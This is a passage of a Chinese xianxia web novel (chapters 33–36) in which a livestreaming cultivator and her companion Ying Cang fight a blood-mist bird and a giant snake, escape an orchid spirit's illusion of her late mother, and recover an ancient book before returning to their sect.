祈安一声尖叫,用胳膊护住了自己的脑袋。等了好久,只听得到翅膀扑扇的声音,却没有遭受到攻击。
之间那大鸟展着红翅膀就飞在自己面前,几次想要过来,却又后退了。
居然真的不喜欢脏污!
【苍:你身上有吃的吗,可以丢给它。】
祈安摸了摸,身上只有她随身带着的合欢丸,也不知道这鸟爱不爱吃。刚好这些合欢丸都被她用布兜裹得好好的,一点泥渍都没沾上。
祈安解开绳子,往空中一抛,合欢丸全都洒了出来。
那血雾鸟许是被丹药的香味吸引,竟然真的从祈安面前飞走,一颗颗的去捡药丸吃。
祈安感觉自己暂时脱离了危险,秉着一个主播敬业的精神,继续直播这血雾鸟的情况。
没过多久,所有的合欢丸就都被它吃完了。
也不知道是不是错觉,祈安觉得它的翅膀越来越红。就在她凝神细看的时候,血雾鸟突然爆发了凄厉的叫声,在整个山洞里乱撞。
羽毛一片片地掉落,可它依旧像是不怕疼一般。
“它它它这是怎么了?突发恶疾?”
【苍:你给它吃了什么?】
祈安:“没吃什么啊,就是喂了三十颗合欢丸。”
33.幽兰香
祈安的合欢丸里有玄冰露,血雾鸟尤为喜欢,三十颗合欢丸被它吃得干干净净,药效也来得格外得快。
血雾鸟翅膀越发殷红,它拼了命地往墙壁上撞。祈安立在泥潭里不敢作声,直播间里却热闹非凡:
【匿名用户8992:三十颗合欢丸,这不得撑死。】
【周强强:我之前试过,这主播的药丸还是效果很好的,我估计这鸟得撞一阵子了。】
【李三缸:这血雾鸟的嘴看着真的锋利啊,要是凿我脑袋上我一定当场就没了】
【匿名用户8992:歪个楼,楼上的你承认用合欢丸了?】
......
祈安没时间管弹幕在说什么,直勾勾地盯着血雾鸟。右手已经将剑拔出来了,准备随时防御。
凄厉的叫声一阵高过一阵。
洞里本就不大,声音盘旋在祈安耳边,耳膜被刺得生疼。
淤泥腐烂的味道一阵阵地往祈安鼻子里钻,她淌在泥里,一步步往后退。
如果能趁乱离开这里,再好不过了。
应苍的信息她也来不及看,全部的注意力都放在了飞扑的鸟身上,却忽视了岩壁上那条蠢蠢欲动的巨蛇。
【苍:小心蛇。】
【苍:他往你那边去了。】
应苍等了许久祈安也没回复,眼看蛇已经渐渐靠近,他直接打开了直播间,准备发条弹幕。
就在他打字的瞬间,血雾鸟突然掉转了身子,一个俯冲,朝祈安扑去。
与此同时,蛇也扭动着身躯,张开大口,向祈安袭来。
祈安瞳孔猛缩,她已经能够感受到血雾鸟翅膀扇起的风,似乎也问到了巨蛇口里腐烂的气息。
来不及思考,下意识地送出了剑。
凝神起念,念与剑至。
肌肉记忆让她使出了一直苦练的前刺。
出剑狠辣,没有半分犹豫。
一把剑,刺穿血雾鸟的身体,扎进巨蛇的眉心。
血雾鸟连惨叫都没来得及,整个身体在剑意下,直接爆开。
体内的血在一瞬间变成了细小的珠子洒落,真的犹如血雾一般。
祈安脸上开始变得湿哒哒的,就像春天站在淅沥的小雨下。
可惜这雨里带着腥咸,带着血气。
那巨蛇本来就奄奄一息,祈安这一下直中命门。他卷着身子挣扎了几番,身子绞成螺旋状,没扭动几下,就死了。
祈安满脸是血,眼神空洞,她麻木地看向直播间。
弹幕滚得太快,她看不真切。只是有个词不停地出现:
【江州第一深情:卧槽!!!这是青云剑?】
【乡间大野猪:不可能吧这剑早就绝迹了还青什么云】
【张春春:该说不说,长得确实很青云】
......
祈安还没缓过神来。刚才那一刹那,倘若自己偏了一分,就已经被拆吃入腹了。这次能够平安纯属侥幸。
那下次呢?恐怕就不会有这么幸运了。
嗡嗡嗡。
祈安抖着手掏出玄光鉴:
【苍:已经都死了,不要怕,你做得很好】
【苍:我在你隔壁,等下我把这面墙打破就过来】
【苍:上面有妖丹,收好,可以涨功力】
祈安抬头,果然见空中悬浮着一颗黑金色的内丹。她拖着剑,爬上了那草垛,把内丹取下。
“现在我要做什么?”
【苍:你休息会儿,我来破石】
祈安慌乱的心终于安定了一些,她不想去管什么副本任务,现在只想让应苍赶快到自己身边,在草垛上坐下:“好。”
而后小声喃喃道:“我等你。”
平静下来的祈安开始觉得身体有些疲惫,她双手环抱,把头搁在了膝盖上,想要歇一会。
只觉得身边总像是瞟着一股若有若无的兰花香,和刚进洞时的味道一样。
看来,这里离洞口不远。
在睡过去前,祈安心里默默想着。
【江州第一深情:怎么回事?怎么黑了?】
【江州第一深情:刚刚那么大一声响,不会是洞塌了吧?】
【小清萱:十亿姐姐!你还在吗十亿姐姐?】
应苍也听到了那声巨响。
这洞里的石壁不能随意用穿墙术,他刚才正在查看哪里最适合破壁时,洞里突然起了巨响,伴随着抖动。
不过除了些灰掉下来外,石头都还牢牢地嵌着,只是祈安那边的直播间却突然变黑了。
“祈安!”
久久未有人回应。
祈安坐的那个草垛刚才忽然坍塌,她连带着直播镜一同坠了下去。
直播镜被翻转扣在地上,而祈安稳稳地落在了一朵巨型兰花上,她双眼紧闭,呼吸均匀,看上去睡得正香。
应苍心里焦躁顿生,将手化斧,直接汇聚灵气往石壁上一劈,石头硬生生地裂开了一道口子。
他冲了过去。
浓郁的血腥味还未散去,应苍匆匆一扫,巨蛇的尸体还躺在地上,可唯独没有祈安。
去哪了?
“神识,出。”
应苍用神识将洞里扫了一遍,依旧不见踪迹。
那股幽兰香仍然若有似无地飘着。
这香...有些古怪了。
看来,这个洞没有想象中的那么安全。祈安只有筑基期,若是碰上金丹期的妖物,完全没办法应付。
应苍收回神识,将指尖化为剑气,在自己腕上割了一刀。
鲜血涌了出来,他运转灵力,血珠纷纷往他胸口上的伴生契上飞去。
伴生契有追踪的效果,但是需燃烧神识。
应苍闭着眼睛,脑海里的画面迅速闪过。他看到了祈安,那里满眼的紫色,花香浓郁,祈安就躺在兰花里。
血球很快就没了,眼前的画面随即消失。
应苍没有犹豫,又割了一刀。
血球消失。
再割。
消失。
继续割。
重复了几次,应苍终于找到了那兰花的位置。
“呵。”
失血过多让嘴唇变得苍白,燃烧神识极度耗费精力,他胸膛起伏,眼里已经覆满狠厉:“原来这兰花精,就藏在蛇窝下。”
应苍脚下用力,蛇窝被他生踩一个洞来。
他跳下去,只一眼就瞧见了祈安。
紫色包裹着她,看上去没什么危险。
应苍松口气,一股幽香暗暗侵入。他瞳孔缩紧,刚准备屏住呼吸,已经来不及
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了:
“是幻境。”
以他的修为,本可以避免。可刚才耗费了太多精血,在无意之中,也被拉入了幻境中。
等他醒来的时候,发现自己正在一个漆黑的屋子里,四周坐满了人,却安静得可怕。正前方的墙上有一男一女正手拉手,说着他听不懂的语言。
“这是哪?”
“嘘!!!”
左手手臂传来了一阵浅痛,耳边突然凑过来一颗脑袋:“看电影不要说话。”
热热的,酥酥麻麻的。
他转过头,看到了一张熟悉的侧脸。
是祈安。
光与影交错着,在祈安的脸上闪过。
应苍眉头轻蹙,这幻境有些奇怪,灵气也使不出。
情况不妙。
漆黑的屋子突然亮了起来,应苍抬手遮住刺目的光,手放下时,祈安含笑的眼睛撞进了视线。
应苍微微发愣,他还是第一次发现祈安笑起来,眼睛居然是月牙形的。
“发什么呆呢?”祈安伸出了手,“走吧。”
应苍目光落在祈安伸出的手上。她的指尖莹润,在昏暗的光线下泛着柔和的微光。迟疑片刻,终究将自己的手递了过去。
“怎么了?看个电影还把你看傻了?”祈安轻笑,拉着他随着人流往外走。她的步伐轻快,马尾在脑后一甩一甩,扫过她白皙的颈项。
应苍沉默地跟着,锐利的目光快速扫过四周。
眼前的一切都太过诡异。
嘈杂的人声,甜腻的香气,闪烁着诡异光芒的方块屏幕,还有人们身上样式奇特的衣物……无一不在挑战他的认知。
他能感觉到体内灵力滞涩,如同陷入泥潭,难以调动分毫。
祈安似乎毫无所觉,兴致勃勃地说着刚才看到的画面:“……你说最后他们会不会在一起啊?我觉得那个男配角好可惜……”
应薄唇紧抿,试图从她的话语中捕捉线索,却一无所获。他只能更紧地回握住了她的手。
他知道眼前只有祈安,是真实的。哪怕自己寒疾已经去除,独属于祈安的暖意还是源源不断地送了过来。
他们都是真身入幻境,要万分小心。
“祈安,”他尝试开口,声音因久未言语而略显低哑,“我们这是要去何处?”
“回家啊。”祈安理所当然地回答,侧头看他,眼中带着一丝疑惑,“你今天真的好奇怪哦,是不是不舒服?”
她说着,空着的手自然地探向额头。
指尖触碰到皮肤,应苍身体僵了一瞬。
“无碍。”他偏头避开,语气生硬。
祈安撇撇嘴,也没在意,拉着他走了出去。眼前的场景快速地变化,两人到了一处草坪上。
地上石碑林立,祈安带着他在一处碑前停下。
应苍扫过去,碑上刻着【林女士的家 女儿:祈安立】
这是?她母亲的灵位?
原本只是勾着的手,突然变成了十指相扣。应苍低头去看,却听到祈安略带兴奋的声音:
“妈!我们回来啦,你做了这么多好吃的呀,那我们快吃饭吧!”
应苍随着祈安的视线看去,却仍旧只看到那空荡荡的石碑。
他心下一惊。祈安好像,在幻境的幻境里。
34.幻境灭
应苍握着祈安的手,一直观察着她的反应。祈安双眼无神,对着墓碑自言自语:
“林女士,你站着干什么呢?坐呀。”
“这米太重了,我来搬。”
“怎么又咳嗽了,医生都说了不要你闻油烟味儿了。”
虽是埋怨的话语,但语气里更多的还是心疼。
应苍低头看着两人相握的手,手心里已经起了潮意,原本的温热却越来越弱。
幻境会消耗修士的精气,陷得越深,精气消耗越快。
若是不赶快从幻境中醒来,可能会一直被困到精气消耗。
“阿祈,醒醒。”
应苍一连叫了几声,身旁的人都置若罔闻,如一根枯木。
他环顾四周,这片墓地寂静无声,夕阳的余晖给石碑镀上一层暖金色,却更显诡异。
应苍分神期间的修为,即使人入幻境,心智也不会被迷惑。
但祈安不一样。她刚刚筑基,心性不稳,最易被妖物迷惑。
一般幻境展示的,是人最渴望的事物。
她渴望的,也是母亲吗?
应苍唇间扯出一股苦笑,不由地想起了之前和母亲生活的画面。思绪飘走的瞬间,鼻腔间的幽兰香突然浓郁了起来。
“好大的胆子。”
应苍猛地回神,眼中寒光乍现。这兰花精竟打算趁他心神波动时加深幻境!
他强行压下被勾起的回忆,将所有注意力集中在当下。
“雕虫小技。”应苍冷哼,神志立马恢复。
但祈安的情况不太乐观。她安静地站着,眼泪无声地滑落,整个人透着一股死寂。
那只握着应苍的手渐渐松了力道,缓缓滑落。
“阿祈。”应苍一把抓住她的手。
他扭转祈安的身子,双手握着她瘦削的肩膀:“醒醒,醒醒。”
回答他的永远依旧是寂静。
眼看着祈安越发沉寂,面色以肉眼可见的速度苍白下去,唇瓣也失了血色。
应苍眸色一沉,知道寻常方法已无法唤醒她。这妖物制造的幻境直击心底最柔软的角落,沉溺其中的人往往自愿沉沦。
他不再犹豫,一手揽住祈安瘫软下滑的腰肢,另一只手并指如剑,指尖凝聚起金光,精准地点在祈安眉心,灵力强行进入祈安的识海中。
“嗯……”祈安发出一声极轻的呓语,眉头痛苦地蹙起。
识海只能进入刹那,应苍只看到祈安一个人孤零零地蹲在墓碑前,用手轻轻拂掉碑上的尘土。原本就瘦小的身子在那一片识海中显得更为柔弱,应苍心里一缩,还没来得及细瞧,就被强行逼退了出去。
应苍仔细回忆着祈安识海里的场景。
他转过头,看着身后那块在夕阳下泛着暖光的墓碑,上面模糊地刻着“林氏”二字,心中便有了主意。
应苍轻轻将几乎失去意识的祈安靠放在一棵枯树下,随即起身面向墓碑。
周身灵力骤然涌动,衣袍鼓动。他并指如剑,凌厉的金色光芒在指尖吞吐不定,猛地朝那墓碑挥去!
“破!”
金光如利刃般斩落!
咔嚓——
一声脆响,墓碑中心出现了如蛛网般的裂痕,朝四周飞散开。
几乎在同一时刻,靠在树下的祈安空洞的双眼骤然睁开,大口呼气,像是溺水之人终于浮出水面。
“不——!”她发出一声凄厉的尖叫。
应苍毁掉了墓碑,祈安幻境里的母亲也随即消失。精神慰藉消失后的祈安,被强行拉回了现实。
她身体剧烈地颤抖起来,脸色煞白如纸,猛地呛出一口鲜血,点点殷红落在前襟和草地上。
“阿祈。”
应苍跑过去,看着她眼里正慢慢恢复着光亮,松了口气。
祈安嘴角还挂着血痕,她茫然地看着应苍:“怎么了?”
“你被困在了幻境。”
幻境?
祈安看看周围的景象,一些碎片的记忆开始浮现。
她刚才又看到了妈妈。
那时候的妈妈还在世上,还可以给她做饭,家里还有人可以陪她说话。
幻境消失后,这一切就又不在了。她无力地笑笑,眼中掠过一丝恍惚,环顾了周围的景色后:“那我们现在在哪?”
“还在幻境里,”应苍解释说,“你只是神志出来了,但身体还困在里面。”
祈安挣扎地站起来,这四周的场景太真实了,她完全区分不出来幻境和现实的区别。
“想从这里出去只有一个方法,”应苍看出了祈安的疑惑,“找到那个兰花精,然后——”
“杀了她。”
祈安听到最后三个字,一股寒意从后背陡然升了起来。
要不是这几个字里带着股冷意,祈安就差点忘了站在自己面前的人,曾经经历过多少的腥风血雨。杀掉一个小小的兰花精,对他来说根本不值一提。
她喉头一紧,草草应下:“好。”
“手给我。”
祈安不解,但还是把手伸过去。
指腹一阵刺痛,圆润的血珠冒了出来。
“刚才兰花精入侵了你的神识,只有用你的血才可以找到它。”应苍说,“闭上眼睛,按我说的去做。”
祈安立刻合上双眼,应苍的手虚虚托住她的手腕。
“凝神,静气。”他声音低沉,响在耳畔,“用你的灵气,去感受那道不属于自己的气息。”
应苍知道祈安是天灵根,对于气息的感知要比常人敏感上百倍。
祈安将全部心神沉入体内,在自己的身体里仔细搜寻着。
开始一无所获,身体仿佛空荡荡的。
托着她的手却一直坚定有力:“不急,慢慢来。”
她深呼吸几次,稳稳心神,回忆着自己第一次感受灵气时的感受。
祈安放下了一切的念头,只专注于找寻那抹气息。忽然间,一丝极其微弱、却如附骨之疽的气息被她寻到。那道气息带着一丝甜腻,像一根细丝一般缠绕着她的灵气。
“找到了!”她急切地说道。
“引它出来,附于血珠之上。”
祈安按照应苍所说的尝试,却如蚍蜉撼树。那气息虽微弱,但极为顽固狡猾。
应苍仿佛看出了她的吃力:“以血为引,以念
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为牢,让她先信任你,而后跟随你。”
祈安定下心神,那没再用自己的灵气去追赶对抗,转为主动融入。那道气息被祈安骗到了,以为自己又可以建起新的幻境,立刻迎了上去。
两道气息刚融合,祈安立马驱动灵气,将那股气息团团围住,送往了指尖。
血珠微微颤动,表面泛起一丝浅紫色光泽。
“可以了。”
应苍松开她的手,在空中极快地划过一个繁复的符文。金光一闪而逝,没入那滴异样的血珠之中。
“去!”
他低喝一声。
那滴血珠倏然从祈安指尖飞离,悬浮于半空,微微震颤一瞬,随即如离弦之箭般,朝着东南角疾射而去。
“走。”应苍牵起祈安的手,驱身追去。
祈安不敢怠慢,强压下身体因精气损耗而产生的虚弱感,催动灵力紧随其后。
血珠飞得极快,最终在一株兰花上方盘旋不止,嗡鸣颤动。
祈安杏目圆睁:“这兰花我见过,就在蛇窝下面。”
兰花似乎感受到了危机,周身光华流转,浓郁的幽兰香气再次爆发出来。
应苍没有给它丝毫机会。指尖金光乍现,直指花心。
时间仿佛静止了一瞬。
随即,那株娇艳欲滴的兰花以肉眼可见的速度迅速枯萎、焦黑、风化,最终化作一缕飞灰,消散在空气中。连同那惑人的香气也彻底消失无踪。
周遭的景象开始剧烈扭曲、波动,天旋地转的感觉再次袭来。剧烈的震荡持续数息后,戛然而止。
眼前的景色终于恢复了正常。
依旧是那个昏暗的洞穴,只是那朵巨大的兰花已经没有踪影了。
祈安脚下发软,几乎站立不稳,一只手臂再次稳稳扶住她,柔和的灵力缓缓注入。
“你体内还有那兰花的气息,刚才它元神俱灭,你也免不了受影响。”
原来如此。
祈安点点头,慢慢运功调息。待体内气息平稳,心脉不再波动,刚准备开口道谢,却发觉两人距离极近。
祈安甚至能看清应苍纤长的睫毛,还有衣襟上淡淡血痕。
她脸颊倏地一热,有些不自在地微微后退半步,拉开了些许距离,声音也低了几分:“…多谢。”
应苍也发觉两人之间的距离似乎有些不妥,立刻松手,动作快得近乎突兀。
“这没什么。”他的声音依旧平稳,但那双在黑暗中的眸子却微微闪烁。应苍有些不自在,眼神飘忽不定,突然瞄到了地上的东西,不自在地说道,“那个在那里。”
祈安顺着应苍的视线看过去,才发现自己的直播镜正倒扣着。
“哎哟。”
她惊呼一声,才想起来自己进幻境前还在直播,也不知道现在是个什么情况。方才一点点缱绻旖旎的氛围迅速消失,祈安赶忙捡了镜子。
直播间还开着,看到她回来后弹幕立马乍开了锅。
祈安完全看不过来,打算先和简单说下情况。
刚一开口,突然在直播的画面发现了异常。
“咦?”祈安掉转身子,“那是什么?”
35.赤魄刀
身后的岩壁上,倏忽闪过一抹暗红。
祈安立即绷紧神经,屏息凝神。这洞穴诡异莫测,若那红光是什么凶兽的双目,怕是又要陷入苦战。
应苍也注意到了。
他手按住祈安,示意她在原地不要动,自己缓步靠近。应苍指尖仔细在上面摸索,岩壁潮湿冰冷,滑腻腻的。他手指在一凹陷处停下,借着微弱的光线,可见岩缝中隐约透出金属质感。
“是兵器。”他低声道,指节轻叩岩壁,传来空洞回响。
祈安闻声上前,只见应苍运气于掌,按在岩壁上。碎石簌簌落下,那凹陷处渐渐露出了一小截刀柄。刀柄上纹路已被岁月侵蚀得模糊不清,但应苍一眼就分辨出,那是苍龙族的图腾。
他呼吸蓦地一滞。
竟然是赤魄!
这刀怎么会在这里。
应苍心头难掩激动,脸上兴奋之色都掩盖不住。当年的那场大战,自己被捕后,赤魄刀也不知所踪,没想到竟然可以在此处遇到。
祈安凝视那截刀柄,开始只觉得图腾眼熟,待目光扫到刀柄右下角那个独特的缺口时,心中顿时明了——
这就是原书里凌阳使的赤魄刀。不是说失踪了吗?竟在这里遇到。
赤魄刀认主,只有主人才可以将它取出。祈安知道应苍可能因忌惮自己在此处,不敢取出。故意装作随意地扫一眼:“这刀都锈透了,肯定不能用了。”
说罢,她不等应苍回应,便转身离开岩壁,仿佛对那把刀毫无兴趣。
应苍啊应苍,我只能帮你到这里了,剩下的事情你就自己看着办吧。
应苍望着祈安的背影,眸光微动。他修长的指尖轻轻抚过刀柄上的图腾,那熟悉的触感荡涤在心头。赤魄刀似乎感应到旧主,暗红的微光在刀柄深处流转。
应苍最终收回手,现在还不是拿走赤魄的好时机。他走到祈安身边,语气如常:“你说得对,一把锈刀而已,不值得浪费时间。”
“走吧。”
赤魄,等之后,我一定将你取回。
*
祈安和应苍继续并排往前走,洞穴幽深,还好没什么岔路,不会走错路。通道内空气滞涩,带着一股陈旧的尘土味。
祈安一路上只要看到一点能够藏东西的地方,就停下来检查一二,她时刻记着自己的副本任务——找到古籍。但转了许久,还没看到一点古籍的影子。
这古籍不会已经被人拿走了吧!
祈安有些心急,脚下的步伐快了许多。越往深处走,光线越昏暗。不知从何时起,岩壁上开始出现模糊的壁画,描刻着一些古老的星图,但大多已风化剥落,难以辨认全貌。
除了这些图像外,还歪歪斜斜地刻着一些字。
祈安总觉得有些熟悉,但由于年代久远,她一时辨认不出是什么内容。洞里情况难测,祈安不敢在一处久留,就一直沿着石壁走着。
在经过一处转弯后,石壁上绘刻的内容有了变化。
“应苍。”祈安轻轻叫住了身前的人,“你看。”
应苍顺着她的视线看去,左侧的石壁上,刻画的不再是先前的星图,而是一个人体经络运行图。
图中人体心口的位置,恰好镶嵌着一块暗色晶石。
“你是觉得,这块晶石有问题?”应苍问道。
“嗯。”祈安说,“感觉像是刻意放上去的。”
“取下来看看便知。”应苍说着,指尖微抬,一缕灵力便朝那晶石卷去。
然而,那灵力甫一接近壁画,就如同泥牛入海,悄无声息地消散了。岩壁周围似乎存在着一层无形的禁制,隔绝了一切灵力的探入。
“嗯?”应苍微微蹙眉,又尝试了一次,结果依旧。
“这里好像无法施展灵力。”
他收回手,打量着岩壁的高度和光滑程度。那晶石镶嵌的位置颇高,离地约有近两人高。后退半步,纵身轻跃,修长的手指堪堪触碰到晶石边缘,却因岩壁无处借力,身形不得不落下。
“岩壁太滑,不好用力。”
应苍语气平静,一连试了好几次,仍旧一无所获。
祈安细细打量着上面的晶石,一个念头冒了出来,脸颊微微有些发热,但还是开口道:“要不……你帮我一下,我上去拿?”
应苍转回头看她,眼神里带着询问。
祈安指了指他的肩膀:“你……你把我举起来,我应该能够到。”
应苍的目光在她脸上停顿了一瞬,似乎察觉到了她那丝不易察觉的窘迫,眼底掠过一丝极淡的笑意,快得让人抓不住。
“好。”他没有多言,只是干脆地应了一声,走到岩壁下,微微屈膝。
祈安背对着应苍,能清晰地感受到身后传来的温热气息,她不自在地蜷了蜷手指,攥紧了衣角。
“可以了吗?”
祈安声若蚊蝇:“嗯。”
“一会儿抓紧我。”
应苍低声道了一句,随即一双温热有力的大手稳稳地握住了她的腰侧。双臂用力,将她举起。
祈安轻呼一声,只觉身子一轻,整个人便被轻而易举地托举起来。突然的失重感让祈安下意识抓紧了应苍的双手。
下一瞬,她稳稳当当地坐在了应苍左侧的肩膀上。
“害怕吗?”
祈安摇头:“不怕。”
“好,那我走过去。”下方传来应苍沉稳的声音,他缓步走向那块晶石处。
不知是应苍害怕她从上方跌落,还是洞里黑暗不好走路。明明只几步路的行程,祈安却觉得走了好久。
久到她开始分心。
身下肩膀宽阔,独属于应苍的体温不断传来,透过衣物祈安还能感受到那结实的肌肉。
这么多肌肉,难怪刚刚那么轻松。
祈安手搁置在肌肉上,出神地想着,没意识到已经到了岩壁处。
“够得到吗?”应苍问。
祈安没有回复。
应苍又问了一遍:“够得到吗?”
“够大,够大。”
“什么够大?”
应苍的动作微微一顿。
祈安猛地回神,才意识到自己刚才说了什么虎狼之词,脸
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颊“轰”地一下烧了起来。她慌忙补救:“不、不是!我是说……高度够了!够得到晶石了!”
下方传来一声极轻的低笑,胸腔的震动透过紧贴的肢体清晰地传给她。
应苍的嗓音醇厚:“嗯,那便取吧。”
祈安脸上热意未消,心跳得厉害,几乎要撞出胸腔。她强迫自己集中注意力,抬起手臂,指尖小心翼翼地探向那块暗色晶石。
晶石嵌得颇深,她要多使些力气。两人全都默契的没有说话,整个空间里只听得到祈安指尖用力抠挖岩壁的细微声响。
祈安能清晰地感受到身下肩膀的坚实,托着她腿弯的手掌稳定而温热,贴在她后腰的那只手,温度甚至透过衣料熨烫着她的皮肤。
终于,“咔”一声轻响,晶石被她抠了出来。
几乎在同一时刻,身下的应苍似乎微微调整了一下重心,她的身子随之轻轻一晃。祈安低呼一声,下意识地俯身,手臂紧搂住了他的脖颈和脑袋,整个人几乎完全趴伏在了应苍头上。
柔软的身躯紧密贴合,发丝垂落,带着荔枝香,扫过应苍耳廓和颈侧。他身体彻底僵住,托着祈安的手下意识地收紧:“小心。”
“对、对不起!”祈安慌忙想要直起身,指尖却不经意擦过他微烫的耳垂。
祈安被这温度吓得缩回了手。
空气短暂的静止,两人的呼吸声交织在一起,气氛开始变得粘稠起来。
祈安甚至能感觉到他颈侧脉搏的跳动,急促而有力。她在心里告诫自己要保持镇定,任务还没完成,同志仍需努力。调整状态,再次直起身子,把手伸进刚才的洞内。
果然,摸到了一本书。
祈安兴奋地抽出来:“应该就是这个,找到了!”
“拿到就好,”应苍开口,“那我放你下来。”
“哦……好。”祈安小声应着,手忙脚乱地维持平衡。
应苍缓缓屈膝,小心地将她从肩上放下,等祈安站稳后,才往后退了几步,拉开两人之间的距离。
身后热源退去,祈安觉得一瞬间涌入了无数的新鲜空气,她大口呼吸着,就像是好不容易回到水里的鱼一般。
应苍也在调整着自己。
在清醒状态下两人如此亲密的接触,还是第一次。潮湿又幽暗的山洞,就像是他曾经生活过的环境一般,应苍刚才不止一次起了把祈安卷走、躲进山洞里的念头。
那洞内最好全是浅浅的水坑,顶上滴答下着雨。他们就蜷缩在角落里,这样生活一辈子,似乎还不错。
不过应苍知道,祈安肯定不会喜欢。
那么喜欢太阳的一个人,又怎么会去住那阴湿的屋舍呢。也正因为此,每次念头升起时,都被应苍压了下来。
“是你要找的东西吗?”
应苍看祈安一直翻着那本书,出声问道。
“看样子好像是。”
祈安在拿到书后,立马看了看任务面板,显示任务已完成。
“不过,这就是那古籍?”祈安满眼疑问,拎起其中唯一有内容的那一页,“就这点内容?”
36.蛇妖丹
祈安拎起的那一页,土棕色的书页上,只有一棵掉光叶子的树。
没错,只有一棵树。
她费力差点搭上自己小命找来的书,就这点内容?
“什么嘛!居然一点功法都没有!和小说写的一点都不一样。”
祈安嘟嘟囔囔:“我以为莫名其妙的获得机缘是穿书者的标配。”
虽然对这本书失望无比,但还是小心地把它收起来。毕竟有10000的灵石奖励,不能和钱过不去。
应苍看祈安的样子,应该是找到了自己需要的东西:“可以出去了?”
“嗯,”祈安看看四周,还是黑漆漆的一片,“不过我还有个问题。”
“什么?”
“我们怎么出去啊?”
*
祈安跟在应苍身后,不知道拐了多少个弯。
她累得停下来撑着膝盖直喘气:“我们真的是在往出口走吗?”
不会一直在绕圈子吧。
后半句她没敢说出口,毕竟应苍也带着她走了这么久,这样问显得有些没礼貌。
“不会错的。”
应苍语气坚定,祈安只能选择相信他。
你是苍龙少主,你说了算。
又绕了半个时辰后,祈安终于听到了那句天籁之音:
“马上就到洞口了。”
果然,再往前走几步路,拐过个路口,前方冒出了点点的光。
“啊!!真的出来了!”
看到出口的祈安一瞬间鼻子一酸,眼里突然就蓄满了泪水。原来,刚才的自己,实际是害怕的。直到真的确认没有危险后,她才敢去感知自己内心的恐惧。祈安一头扎进了应苍的怀抱,双臂搂住了他劲瘦的腰,呜咽道:“谢谢你。”
忽然被抱住的应苍浑身一紧,胸口处传来丝丝声响,他低头就能看到那颗扎着发髻的圆圆脑袋。这一整天下来发髻已经松了,调皮的碎发冒了出来。应苍虚张着胳膊,犹豫半晌,还是把手掌放在祈安后背上,轻柔地拍拍:“已经没事了。”
应苍抬眼看着洞口处,突然发现那点点的火光正慢慢靠近。
远处传来了声音:
“出来了出来了。”
“快去看看。”
“师妹——”
“安安——”
......
四周突然嘈杂起来,祈安从应苍怀里抬头,泪眼朦胧地看向出口。
一群人正往这边走来,为首的是易为春。
“师兄?”
人群再靠近些,祈安才发现,不光有易为春,清虚和剩下的几个师兄也都来了。
她声音里还带了些哭腔:“你们怎么来了?”
易为春看着应苍放在祈安身后的那只手,双眼闪过震惊:“师妹,你们——”
“啊?哦哦哦,”祈安才想起自己还抱着应苍,赶忙松开,“师父、师兄,我、我们不是你们想的那样。”
她语无伦次地解释着:“是这样的,我们刚进古洞没一会儿,就遇到了一条巨蛇,还有血雾鸟。好不容易把它们都杀了,兰花精又把我拉到幻境里,我差点没出来。每次都是应苍救了我,刚刚终于出来了,所以我...我...”
祈安声音渐小。
好像越解释越不对劲。
祈安恨不得把自己的舌头咬掉:下次不要乱说话了!
应苍往前迈了一步,不着痕迹地把祈安藏在自己身后,朝清虚微微颔首:“道长,我们二人在幽兰幻境那里耽误了一些时间,让大家担心了。”
清虚打量了应苍一番,发现他和出发前没有什么区别,尤其腰间,仍是空荡荡的。
清虚问道:“里面有什么收获吗?”
“拿到了一颗蛇妖内丹。”
“没了?”
应苍看看祈安,发现她一副心不在焉的样子,想了想,没有把找到书的事情说出去:“没了。”
清虚眼里掠过了惊讶的神色,转眼又恢复如常,淡淡说道:“既然已平安出来,回宗门吧。”
*
回去一路上祈安都低着头,安安静静地跟在易为春身旁。偶尔偷偷看着自己大师兄,发现他总是铁青着脸,吓得她立马收回视线。
祈安鼓着腮帮子,气呼呼地想着:怎么有一种早恋被家长抓到的感觉啊啊啊!!可是我没有早恋啊!!我那只是下意识的动作,情到深处!情到深——呸呸呸呸,什么情不情的!反正我们两堂堂正正的,什么事都没有,抱一下怎么了?!
就是!抱一下怎么了?
可那是在一群人面前抱啊!!还哭得那么夸张!
祈安啊祈安,你不要乱想,根本零个人在乎你抱谁好吗?生活没有那么多观众的。
... ...
祈安内心天人交织了整路,一直到落霞宫,才把被众人撞见的羞赧之意消散掉。强撑着困意和大家一一说了再见,正打算回屋好好睡一觉,应苍站在隔壁房门口叫住了她:
“祈安。”
“嗯?”
“睡个好觉。”
......
祈安脸上刚退的烧立刻又着了起来:不是!朋友你这唱的又是哪一出啊。
*
祈安第二天顶着黑眼圈从床上醒来。昨天因为应苍的话,她直到后半夜才睡着,无精打采地爬起来,心脏因为睡眠不足而一个劲地狂跳。她生怕自己一个不留神猝死过去,坐在床上深呼吸,打算等心跳平静下来后再起身。
“你醒啦。”
房间里突然传来一道声音。
祈安毫无防备,被这声音吓得弹了起来。原本就狂跳的心此刻宛如开启了二倍速。
“啊——”
尖锐的叫声从祈安嘴里传出。
来财用前脚堵住了耳朵,要是不做点防护措施,可能以后就听不见了。
祈安冷静下来才发现,是来财发出的声音。来财已经沉寂许久了,之前一直以为它挂了,问了清虚才知道还活着,只是处于修养的状态。
本以为要过了冬天才能再醒来,怎么突然诈尸了?
她怒气冲冲地走到桌前,将来财捏了起来,语气不善:“你不是在冬眠吗?”
“醒了。”
“什么时候醒的?”
“昨天。”
昨天?回来的时候她检查它的状态,怎么没发现它醒了?
“冬天还没过就醒了吗?”
来财见她语气松了些,才又把头伸出来:“本来是要明年才醒的,还是多亏了你。”
祈安不解:“多亏了我?”
“对呀。”来财一双小眼睛努力瞪大,“不是你给我带了一颗蛇妖内丹回来了吗?那蛇妖金丹修为,刚好够我醒着过冬。”
蛇妖。
内丹。
祈安突然觉得自己气血上涌
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,扫了一眼自己昨天放在桌上的内丹真的消失了。
她冷笑着:“你是说,你吃了我昨天放在桌子上的那颗内丹?”
乌龟点点头:“还挺好......”
来财话没说完,就被祈安拎着尾巴提溜起来。
一阵寒意传来,它被拎着出了门。
祈安走得极快,来财只觉得自己耳边冷风阵阵:“我们去哪儿?能换个姿势吗?”
没人回应它,只能听到寒风猎猎之声。
来财头晕眼花,眼瞅着下面的路从石子路变为了泥巴路,好像越来越靠近那片湖了。
“我们去湖那里干什么?”
祈安冷冰冰地回答说:“杀龟,抛尸。”
那蛇妖内丹她打算一直攒着的。想着万一什么时候有需要,可以吃了紧急提升一下修为。没想到自己连什么味儿都不知道,就被这个半路杀出来的程咬金截胡了!
